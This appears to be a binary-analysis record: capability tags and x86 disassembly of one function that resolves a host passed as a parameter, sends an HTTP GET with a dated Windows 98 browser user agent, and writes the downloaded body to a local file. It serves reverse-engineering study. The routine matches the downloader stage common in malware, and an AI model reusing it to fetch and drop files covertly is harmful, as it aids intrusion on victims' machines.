Function at 0x402420
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Send http request
Send http request with host header
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4051b0
push 0x403f40
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x5b4
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x1b8], edx
mov dword [ebp - 0x1a0], edx
mov dword [ebp - 0x5c4], edx
mov byte [ebp - 0x5bc], dl
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x5bb]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov word [ebp - 0x1b0], dx
xor eax, eax
mov dword [ebp - 0x1ae], eax
mov dword [ebp - 0x1aa], eax
mov dword [ebp - 0x1a6], eax
mov word [ebp - 0x1a2], ax
mov dword [ebp - 0x1bc], edx
mov dword [ebp - 0x5c0], edx
mov ecx, 0x1f
mov esi, str.GET__s_HTTP_1.1_r_nHost:_s_r_nAccept:__r_nUser_Agent:Mozilla_4.0__compatible__MSIE_5.00__Windows_98__r_nConnection:Keep_Alive_r_n_r_n
lea edi, [ebp - 0x19c]
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 4], edx
push 0x1000
push edx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebx, eax
mov dword [ebp - 0x1a0], ebx
mov esi, dword [ebp + 0xc]
push esi
mov ecx, dword [ebp + 0x10]
push ecx
lea edx, [ebp - 0x19c]
push edx
lea eax, [ebp - 0x5bc]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
test ebx, ebx
je 0x40251d
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
mov dword [ebp - 0x5c4], edi
cmp edi, 0xffffffff
je 0x40251d
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x1b4], eax
test eax, eax
jne 0x402534
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
mov esi, dword [ebp - 0x5c0]
mov dword [ebp - 4], 0xffffffff
call fcn.00402710
jmp 0x402739
movsx ecx, word [eax + 0xa]
mov edx, dword [eax + 0xc]
mov esi, dword [edx]
lea edi, [ebp - 0x1ac]
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp + 0x14]
push ecx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1ae], ax
mov word [ebp - 0x1b0], 2
push 0x10
lea edx, [ebp - 0x1b0]
push edx
mov eax, dword [ebp - 0x5c4]
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x40251d
lea ecx, [ebp - 0x5bc]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
inc esi
mov dword [ebp - 0x120], esi
push 0x400
lea edx, [ebp - 0x5bc]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push 0
push esi
push ebx
mov eax, dword [ebp - 0x5c4]
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x40251d
push 0
push 0x80
push 2
push 0
push 0
push 0x10000000
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
mov dword [ebp - 0x5c0], esi
cmp esi, 0xffffffff
je 0x402523
push 0
push 0x1000
push ebx
mov edx, dword [ebp - 0x5c4]
push edx
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0x120], eax
test eax, eax
jbe 0x402523
cmp eax, 0x1000
ja 0x402523
xor ecx, ecx
mov dword [ebp - 0x1bc], ecx
cmp ecx, eax
jae 0x402523
cmp dword [ecx + ebx], 0xa0d0a0d
jne 0x402694
add ecx, 4
mov dword [ebp - 0x1bc], ecx
cmp ecx, eax
jae 0x402523
sub eax, ecx
mov dword [ebp - 0x120], eax
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jbe 0x4026c4
mov dword [ebp - 0x1b8], 1
push 0
lea edx, [ebp - 0x1bc]
push edx
push eax
add ecx, ebx
push ecx
push esi
call edi
test eax, eax
jne 0x402697
mov dword [ebp - 0x1b8], eax
mov dword [ebp - 4], 0xffffffff
call fcn.00402710
jmp 0x402739
inc ecx
jmp 0x402625
mov dword [ebp - 0x1bc], 0
push 0
push 0x1000
push ebx
mov eax, dword [ebp - 0x5c4]
push eax
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0x120], eax
mov ecx, dword [ebp - 0x1bc]
jmp 0x40265b
mov eax, dword [ebp - 0x1b8]
test eax, eax
je 0x402523
push esi
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push 2
push 0
push 0xffffff5c
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x120], eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [ebp - 4], 0xffffffff
call fcn.00402710
jmp 0x402739
mov eax, dword [ebp - 0x1b8]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14